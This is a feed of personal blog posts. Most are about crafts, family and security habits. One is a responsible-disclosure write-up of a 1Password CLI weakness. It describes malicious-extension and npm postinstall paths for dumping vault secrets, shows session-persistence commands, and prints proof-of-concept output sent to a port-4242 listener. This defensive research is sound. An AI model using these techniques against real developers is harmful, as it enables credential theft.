It’s done!

So that’s it; that’s the art project I’ve been working on.

The primary purpose of this project was to help me process emotions after having been illegally fired by The Washington Post for union participation while bargaining for our first contract, and in that regard I think the project has been a wild success.

More than that, though, this is my first major “work of art” that I have submitted to an art show, and I hope it gets accepted.

Thanks for following along my journey, and I do have other projects I’m working on that I’ll share soon.

]]>
My React2Shell Story https://manchicken.com/2026/03/04/my-react2shell-story/ Wed, 04 Mar 2026 15:16:44 +0000 https://manchicken.com/?p=1583 Gather 'round, friends! It's time to hear the story of how I led the charge to mitigate React2Shell: a dangerous remote code execution vulnerability which was patched and announced by the React project on 3rd December, 2025.

]]>
Gather ’round, friends! It’s time to hear the story of how I led the charge to mitigate React2Shell: a dangerous remote code execution vulnerability which was patched and announced by the React project on 3rd December, 2025.

This story occurred while I was working for [FORMER EMPLOYER REDACTED] as a Principal Architect on the security team. I got a lead from a colleague, Brad, that there was a Wiz write-up on a new vulnerability that was a real doosey in react-server, but with impact for Next.JS as well. I spent a good amount of time digging into the write-ups on the vulnerability because there was clearly more to this vulnerability than just making sure the packages were updated, there was nuance.

React2Shell has been written about a bunch, and I’m not going to go into a full write-up on the vulnerability since there are so many good ones out there. What I will do, though, is share my nuance! React2Shell depends on two things being true: 1) you’re running React Server Components in some form or fashion, and 2) they’re impacted by the CVE. This might not seem like a lot of nuance, but if you’ve worked with React and its many, many encapsulating frameworks, you know that this is tricky if you’re not already familiar with the project. Even Next.JS, a very popular encapsulating framework, supports running it without server components (you can perform a static export, or you could limit your use to client-side rendering; though you miss out on a lot of the framework’s value-add), so it’s important to look past the surface-level.

When you have a vulnerability like this you certainly want to patch everything over time, the risk of keeping it in there if someone ever adds server-side rendering shouldn’t be underestimated. However, only the stuff that was using server-side rendering needed to be patched in an emergency. Anyway, now that I had a good idea of what to look for it was time for the code dive.

When performing a code dive like this I use two main tools: GitHub’s Security Insights, the dependency info, and Datadog’s SCA tooling. I also use a good amount of GitHub’s code search functionality to help zero in on usage patterns. There was a challenge here, though: I was faster than my tools. When I went to go look for this vulnerability, I couldn’t find it in either of these tools because it was too new. I had beat them to the punch, and now I had the opportunity to beat my tools; how exciting!

Using GitHub’s code search I looked for the packages impacted by this vulnerability, which Wiz had done a really good job of identifying (including downstream dependencies!):

  • react-server-dom versions 19.0.1, 19.1.2, and 19.2.1
  • next versions 14.x stable, 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, and 16.0.7

You’d think that you could just go to GitHub’s security insights and just search for these versions, but you’d be disappointed. At time-of-writing GitHub’s tooling in this space lacks A) the ability to simply list a bunch of versions, and B) it’s buggy as hell and often introduces more confusion than clarity. It was up to me to identify the affected packages in my employer’s ecosystem; no problem, I love a code dive.

I quickly identified four repositories with package.json files having one of the affected versions. One was archived, so that reduced to three, and from there I reached out to another colleague, Blake, who was much more familiar with how we used these modules. He and I briefly connected over Slack and we figured out that there was only one repository that had real impact. It was time to ticket and mitigate!

I made three tickets, one Critical and two High which were later reduced to Medium. The Critical, however, was one that Blake had worked on himself. Within 49 minutes he had that repository patched and deployed. At this point the vulnerability had become more widely known and there was chatter on our internal security channel, so I wrote a quick update for folks so that teams could remain focused on their work. I really enjoy letting folks know it’s safe to breathe after high-profile issues like this, it might be my favorite part about working in security: helping people be safe and feel safe.

Anyway, now we were fully mitigated and I started getting curious: do my tools show the vulnerability now? The cool thing is that I had the Critical that was mitigated and released. The other two tickets I created were for repositories that didn’t use server components, so we didn’t escalate their fix and release yet (though they were fixed and released the same day). I had the opportunity to test my tools, what fun! I pulled up GitHub’s security insights and went looking on the two repositories I expected to find. Unfortunately, GitHub didn’t have this CVE in their system yet, and I didn’t find anything. Datadog’s SCA tool, though, totally had the vulnerability! It was correct, and it identified both of the repositories that remained unpatched. The repository which was patched was good, which is nice.

A lot of stories that I know about from security professionals surround the deficiencies, challenges, and problems. The unaddressed risk, the seemingly-obvious nature of so much of the risk that exists. Security professionals talk about risk and such a lot, but I really believe the primary goal should be to celebrate security excellence while promoting continuous improvement. Yes, the risk does need to be discovered and addressed, but it’s important that we own our successes or all we’re left with is the failures.

Anyway, that’s my React2Shell story. When all was said-and-done, the tickets I created beat my tooling by six minutes. It’s always fun to win the race, but my tools absolutely had my back. The alerts from Datadog about the vulnerabilities showed up in my inbox well before my friend IanB told me that log files were showing failed attempts to exploit (about two hours after we finished patching).

Have a great day, and don’t forget to celebrate your success today.

]]>
Refinishing Tumblers https://manchicken.com/2026/03/03/refinishing-tumblers/ Wed, 04 Mar 2026 00:40:03 +0000 https://manchicken.com/?p=1566 Ever look in your cupboard and see a tumbler that just looks like crap? Maybe you've used or abused it, or maybe it was free from a conference or a former employer and you just don't want to look at the logo anymore? Well this article is for you!

]]>
Ever look in your cupboard and see a tumbler that just looks like crap? Maybe you’ve used or abused it, or maybe it was free from a conference or a former employer and you just don’t want to look at the logo anymore? Well this article is for you!

So, I didn’t start this project all that well. You see, the goal was simple: remove the logo. I started by trying to use epoxy. My thinking was that I could fill in the low spots in the finish with epoxy, and then spray paint it to make it look nice. This fell apart fast, and if you look here you can almost see it failing in the still photo.

A water bottle with a logo on it. Epoxy has been smeared into the low spots of the logo in a vain attempt to make the surface uniform.

There are visible sticky and high spots in the epoxy, and this is after more than 24 hours of allowing it to cure near a dehumidifier. I needed

Oh my goodness, I says to myself! Well this was where we started. I ran to my favorite hardware store and picked up a giant can of acetone. Then I came home and I got things started. I doused some shop towels in acetone and rolled up my little Yeti burrito:

An aluminum foil wrapped Yeti tumbler

And then I waited 20 minutes. When I got it open I started to try and peel, and wouldn’t you know dude was 100% right!

I pulled the bumbler out of the bundle and started scraping. The paint came right off, though I did have to use a razor blade and an awl in order to get it out of all of the nooks. Then I took a green Scotchbrite pad and cleaned up the surface. I paid special attention to the logo and the Yeti logo on the back; I wanted to leave no trace.

After I was done getting the old paint off, and the surface was cleaned up, it was time to prep for spray paint. Spray paint is a tool I have been intimidated by since middle school shop class, but it was absolutely the right tool for the job. My hardware store didn’t have the color I wanted, but Michael’s craft shop did. I also kinda love this brand, too.

If it’s one thing I’ve learned about life, it’s that the overwhelming majority of a successful job is all about prep! I put on some gloves and I cleaned the surface with more acetone. I very carefully masked off the edges so that I’d get good paint lines, and then I gave it another wipe-down with acetone.

Then I set up a box outside and started spray painting. I applied four coats, sanding lightly with 400-grit sandpaper, and I think it looks pretty good.

I hope this inspires you to save a bottle from the landfill, and make it new again! I’m definitely going to do another one of these.

]]>
A Lesson Spilling Wood Stain https://manchicken.com/2026/02/25/a-lesson-spilling-wood-stain/ Wed, 25 Feb 2026 13:39:47 +0000 https://manchicken.com/?p=1562 Yesterday I was working on the base for a piece I’m making (yes, it involves rubber chickens), which required me to do one of my […]

]]>
Yesterday I was working on the base for a piece I’m making (yes, it involves rubber chickens), which required me to do one of my least favorite things: finishing wood. I don’t hate finishing wood because it’s difficult or tedious, I just don’t like the heavy fumes and the mess. I was finishing the base for my art project, but I was also staining a couple pieces of trim that we needed to install following my wife having done an incredible job refinishing the wood mantle of the fireplace. Things were going smoothly, until they weren’t.

The exact moment I knew that the can of stain was tipping over and would spill just sucked. Of course I swore loudly, that’s what you do, but then something unexpected and wonderful happened. My 15-year-old son came running downstairs. No questions asked, no hesitation, he just jumped in and started grabbing shop towels and wiping up stain. He didn’t complain, he didn’t object, he just jumped in and was incredibly helpful.

He pointed out that there was stain spilled on some of the work pieces, so I went ahead and finished staining the pieces while it was wet–no need to waste stain or let a piece of trim go to waste–and then I cleaned up the tables so I could let them keep curing. All-in-all, my son spent nearly an hour helping me wipe up all of the wood stain that I had spilled. The basement floor still has some stain on it, but it goes with the whole “murder basement” aesthetic that we’re going for (cherry wood stain, y’all), and we’ll have to mop it up with mineral spirits over the weekend, that’ll be smelly.

I’ve been reflecting on this a bunch since it happened, and I learned to never work out of the can of stain directly; instead use a small bucket or bowl so there’s less that can spill if it does. I was reminded that a bias for action can be really helpful.

My son has a beautiful heart, and a drive to be helpful that is often easy to miss if you’re not watching. I’m so glad I was watching.

PS: The wood pieces came out great.

]]>
Be careful with that VS Code Extension! https://manchicken.com/2026/02/24/be-careful-with-that-vs-code-extension/ Wed, 25 Feb 2026 01:51:44 +0000 https://manchicken.com/?p=1548 Those extensions and themes you’ve been installing in your IDE could be dangerous. I understand that there are a lot of cool extensions and themes […]

]]>
Those extensions and themes you’ve been installing in your IDE could be dangerous. I understand that there are a lot of cool extensions and themes out there, and I am quite aware that some of them can be quite the time-saver. Unfortunately, I’m also aware of the supply-chain risk associated with IDE extensions.

There is a growing body of evidence which suggests that advanced persistent threat actors (APTs) are targeting developers and developer tooling, and have been for a while. They want to compromise our projects and products for their own purposes and interests, and when we’re careless we make this easier for them. There is no technique which will bring your risk to zero, but there are some small steps you can take to understand and reduce the risk. Here are my tips for remaining safe in this landscape.

0. Known publishers on trusted marketplaces

VS Code has a public marketplace for themes and extensions, and if you’re using their IDE you should use the official marketplace. If you’re using IntelliJ or some other IDE, this advice still applies, just with the appropriate marketplace.

Stick to publishers which have gone through the verification process. Microsoft’s verification process requires that the publisher demonstrate that they control the domain that they’ve registered with, and it also requires the organization be in good standing for the prior six months.

1. Use caution with themes

I know that this is lame, and I know that this limits your ability to configure your rig the way you’d prefer, but it’s for a good reason. Themes are also extensions, and they can have executable code as part of the payload. No icon pack is worth getting pwned. If you’re going to use a theme or an icon pack, treat them like extensions. Don’t underestimate the risk, even if it is just a theme or an icon pack.

2. Read the code

For marketplace extensions there is often a repository attached. I know that it seems paranoid, but you can go to the repository and skim the code. You can even point your favorite LLM at the repository and read through the code with it if you’re unfamiliar with how it’s written. When I look at extensions I’m looking for the following:

  • Is it still being updated? If the extension hasn’t cut a release in more than 24-36 months then I’m out. I don’t want the liability of running abandoned extensions.
  • Are there any “binary blobs” or obfuscated code? Those are huge red flags. No legitimate project will obscure their code to make it more difficult to read, and if they’re using an open source or copyleft license then its absurd.
  • What telemetry is present? Some of these tools are quite nosy, and they want to phone home to let their developers know what folks are doing. I’m not going to go into motives here because from a user perspective it doesn’t matter. I don’t want tools that I use to tell third parties about what I’m doing. Obviously there’s an exception if the telemetry is in service of the purpose of the extension itself, but those extensions are kinda rare in my experience.
  • Do they have a policy for how to report security vulnerabilities, and are they tracking dependency vulnerabilities? These are two steps that all maintainers should be familiar with, and I expect them with every project I use. If someone isn’t telling me how to report vulnerabilities then they’re probably not thinking about security. That’s a problem for me, I hope it’s a problem for you too.

Now’s the part where I get the question about what I do if I can’t see the code. If I can’t see the code I won’t use the extension. As a general rule, the only time I want to use an extension that isn’t open source is when it has been approved and required by my employer, or is required to interact with a specific vendor.

3. Use tools like LuLu

Objective-See makes security tools for macOS which allow you to tell when a new process is trying to access the internet. This is a huge life-saver! If you’re using a new tool, and it shouldn’t be connecting to the internet, LuLu will alert you if it tries to connect to the internet. LuLu will also allow you to block it from connecting to the internet. This type of tool is often referred to as an intrusion detection type tool, or an EDR tool. These tools will respond if something unexpected happens, and you should use them. These tools have saved my bacon more than once.

4. Never disable the safeties

Use secure boot. Use macOS’s advanced data protection. Never disable these safeties, because they’re there to prevent malware from taking hold on your box in ways that are difficult to detect.

5. This applies to other tools, too

I love tools like oh-my-zsh and starship. I spend a lot of time in the terminal, and these tools make life more pleasant. I’m always careful to limit my use to tools which allow me to view the source code, seem well-maintained, and are transparent about how they handle bugs and security reports.

6. Don’t skip permissions

If you’re using tools like Claude Code, gosh it’s important to make sure you’re keeping it tight with the permissions. I know I’m just a grumpy old man, but I always approve everything that Claude Code does individually. Not only does this help me follow along with what it’s doing, but it also means that I can stop or redirect it when it does make mistakes (and it does make mistakes). Sandboxing is also important, where available, but the permissions system was built for a reason.

I know that the point of your AI tools is to improve your productivity, but there are a bunch of horror stories where folks allowed their tools to run wild and regretted it later. Automation is not just about moving fast, it’s also about moving with precision and control. If a job can’t be automated safely then it shouldn’t be automated, and you can automate these things safely if you are patient, attentive to detail, and don’t skip the permissions. It’s not repetitive hell to be skipped or ignored, it’s output from your code generation tool which does require your attention.

That’s All, Folks

I hope it was helpful. Please be mindful of extensions; they can be helpful but they can also ruin your day (and harm you professionally).

]]>
1Password CLI Adds Risk https://manchicken.com/2026/02/17/1password-cli-adds-risk/ Tue, 17 Feb 2026 18:32:48 +0000 https://manchicken.com/?p=1537 In October of 2023, I reported a vulnerability to 1Password regarding their op (a.k.a. 1password-cli) program. In my report I detailed that their approach to prompting users only once, and then leaving the vault open to the CLI was easily exploited in supply-chain scenarios, especially when a threat actor targets developer toolchains. There are two attack paths I highlighted, and I supplied them with a proof for one of them.

]]>
The contents of this post can be found here: https://codeberg.org/manchicken/1password-cli-vuln-disclosure, including the full POC.

In October of 2023, I reported a vulnerability to 1Password regarding their op (a.k.a. 1password-cli) program. In my report I detailed that their approach to prompting users only once, and then leaving the vault open to the CLI was easily exploited in supply-chain scenarios, especially when a threat actor targets developer toolchains. There are two attack paths I highlighted, and I supplied them with a proof for one of them.

⚠ WARNING
This document is for research and educational purposes. Any use for the information below to cause harm or engaged in unauthorized access of any computer system is strictly prohibited.

Responsible disclosure was given on 2nd October, 2023 to 1Password, and in January of 2024 1Password authorized public disclosure of this vulnerability via BugCrowd.

This demo was tested across the three most recent versions of macOS, using zsh and bash shells using the latest 1Password desktop client.

Two Attack Paths

Both attacks would be a supply-chain attack, but there are two distinct paths:

IDE Path

The IDE path is pretty straight-forward, and I think carries the greatest risk:

  1. I install the 1Password extension because I responsibly wish to keep my tokens in a safe place (e.g. not my $ENV)
  2. I also use the MySQL extension in my IDE, it’s nice to be able to stay in the same tool
  3. I use the 1Password extension to resolve secret references, which requires me to unlock my vault
  4. I installed a new red theme, red is my favorite color
  5. That red theme is an extension, and contained malicious code which uses the op NPM module to enumerate and exfiltrate every vault that I have access to

Package manager path

  1. I install the 1Password CLI, and I use op to protect secrets in my environment
  2. I use GitHub Packages for NPM packages which are private to my organization
  3. I hear of a really nifty plugin which will allow me to add syntax highlighting to shell output on this CLI project I’m working on, so I npm i syntax-highlighting-stuff
  4. Oh no! syntax-highlighting-stuff had a post-install script on it, and it enumerated and exfiltrated the secrets from every vault I have access to

Observed patterns

It seems like the vulnerability is that once you unlock your vault, anything spawned from the parent process of whatever opened the vault retains an active session to that open vault.

$ op run -- ls # This prompts me to unlock my vault
$ op run -- ls # The second call does not prompt me, the vault is already open
$ op read 'op://Foo/Bar/baz' # Still doesn't prompt me again because the vault is still open

This also works with subprocesses:

$ export GITHUB_TOKEN='op://Foo/Bar/baz'
$ op run -- env | grep GITHUB_TOKEN # This will prompt me
$ bash # Start a new shell subprocess
$ op run -- env | grep GITHUB_TOKEN # This will not prompt me
$ bash # Now we're two shells deep in subprocesses
$ op run -- env | grep GITHUB_TOKEN # This will still not prompt me

The Proof

This repository contains the code from the proof that I submitted to 1Password on 2nd October, 2023. Here are the instructions for running the proof:

  • The index.cjs has a module which runs the naughty module.
  • Either using netcat or simple-exfil-service, listen on port 4242
  • To run this test, simply run op run npm install like you needed a GitHub token
  • Afterward, check your output from port 4242, but also check to see if there is a /tmp/naughty file

Here’s what the person running npm i would see:

❯ op run -- npm i

> 1password-cli-risks@1.0.0 postinstall
> node ./index.cjs

theItem:  {
  "id": "[redacted]",
  "title": "Fake Website Login",
  "version": 1,
  "vault": {
    "id": "[redacted]",
    "name": "Employee"
  },
  "category": "LOGIN",
  "last_edited_by": "[redacted]",
  "created_at": "2023-10-02T17:28:50Z",
  "updated_at": "2023-10-02T17:28:50Z",
  "additional_information": "fake.user",
  "fields": [
    {
      "id": "username",
      "type": "STRING",
      "purpose": "USERNAME",
      "label": "username",
      "value": "fake.user",
      "reference": "op://Employee/Fake Website Login/username"
    },
    {
      "id": "password",
      "type": "CONCEALED",
      "purpose": "PASSWORD",
      "label": "password",
      "value": "this-is-the-fake-password-in-plaintext",
      "reference": "op://Employee/Fake Website Login/password",
      "password_details": {
        "strength": "FANTASTIC"
      }
    },
    {
      "id": "notesPlain",
      "type": "STRING",
      "purpose": "NOTES",
      "label": "notesPlain",
      "reference": "op://Employee/Fake Website Login/notesPlain"
    }
  ]
}
Done.

up to date, audited 8 packages in 5s

found 0 vulnerabilities

You can see that the demo attack is printing those values to STDOUT. I am only dumping one value, but the op program and JavaScript library do have the ability to enumerate items in a vault, and vaults themselves.

Here’s what my exfiltration server sees:

Request Headers:  {
  host: 'localhost:4242',
  connection: 'keep-alive',
  'content-type': 'text/plain;charset=UTF-8',
  accept: '*/*',
  'accept-language': '*',
  'sec-fetch-mode': 'cors',
  'user-agent': 'node',
  'accept-encoding': 'gzip, deflate',
  'content-length': '1082'
}
Request URL:  /
Received data: {
  "id": "[redacted]",
  "title": "Fake Website Login",
  "version": 1,
  "vault": {
    "id": "[redacted]",
    "name": "Employee"
  },
  "category": "LOGIN",
  "last_edited_by": "[redacted]",
  "created_at": "2023-10-02T17:28:50Z",
  "updated_at": "2023-10-02T17:28:50Z",
  "additional_information": "fake.user",
  "fields": [
    {
      "id": "username",
      "type": "STRING",
      "purpose": "USERNAME",
      "label": "username",
      "value": "fake.user",
      "reference": "op://Employee/Fake Website Login/username"
    },
    {
      "id": "password",
      "type": "CONCEALED",
      "purpose": "PASSWORD",
      "label": "password",
      "value": "this-is-the-fake-password-in-plaintext",
      "reference": "op://Employee/Fake Website Login/password",
      "password_details": {
        "strength": "FANTASTIC"
      }
    },
    {
      "id": "notesPlain",
      "type": "STRING",
      "purpose": "NOTES",
      "label": "notesPlain",
      "reference": "op://Employee/Fake Website Login/notesPlain"
    }
  ]
}

Notice that the value for the password is in plaintext in both cases.

The Risk

The 1Password CLI is marketed as a tool which makes technical practitioners safer by protecting credentials that are traditionally stored in plaintext in a user’s environment variables on their local machine. This vulnerability demonstrates that while this does get the secrets out of your environment, it also drastically expands the potential blast radius for a successful malware or supply-chain attack.

To put it simply: the risk here is not that your GitHub secret will be leaked via an environment variable, the risk is that every vault you have access to could be dumped by a threat actor.

Additionally, as agentic AI tools become more commonplace, that may add additional risk factors which have yet to be considered in the research I’m presenting here.

The op tool doesn’t just possess the ability to get individual items, it also has the ability to enumerate your vaults (op vault list) and to enumerate items in a given vault (op item list --vault abc123). The JavaScript module supports all of the same commands that the op CLI tool does, too.

Attempts to Mitigate

I have explored a number of paths to mitigate this.

  • Following the suggestion of a colleague, I experimented with using a separate vault for CLI secrets
    • This doesn’t work because you cannot limit the default vault from being read by the CLI
    • Not only that, but you can’t set limits for things like shared vaults
    • As weird as it sounds, when you unlock one vault, you unlock all vaults which are accessible to the CLI tool
  • 1Password recommended using service accounts to mitigate this, and I did try it, but I found some challenges as I started thinking of how to roll it out to teams
    • This kinda sucks because that means each developer gets a separate service account user on their workstation
    • This also means that the developer has to manage a service account
    • In addition to being unweildy, this also means that each engineer must be diligent to not enable the shiny “Integrate with 1Password CLI” button in the Developer tab on the GUI settings

Recommendations

  • I recommend that folks avoid using op on developer workstations until 1Password has released a fix for these scenarios
    • The best way to do this appears to be to make sure CLI integration checkbox is unchecked in the Developer settings screen.
  • I recommend that when you must use op, that it be limited to service accounts, per 1Password’s recommendation, and that you carefully verify that the “Integrate with 1Password CLI” box is unchecked in the GUI settings
  • I recomment that, where possible, you get in the habit of always passing --ignore-scripts to npm commands, and find a similar pattern for any other package manager that you use in conjunction with op

I strongly recommend that 1Password modify their product to resolve this problem. Just spitballing, I think any of the following would be sufficient (this is an OR, not an AND):

  • Allow users to limit access to vaults using CLI integrations
  • Allow users to designate individual items in their Vaults for use with the CLI
  • Prompt for specific vaults or items individually
  • Prompt for each process individually, closing the gap for subprocesses

Conclusion

This investigation took a while, and I waited a while before publishing this disclosure (life circumstances and giving 1Password time to fix the issue). While 1Password is within their right not to issue a CVE or a fix for this vulnerability, I do think 1Password users (I am proud to be one) would be much safer if this issue were eliminated.

Thanks, please contact me with any corrections or feedback.

]]>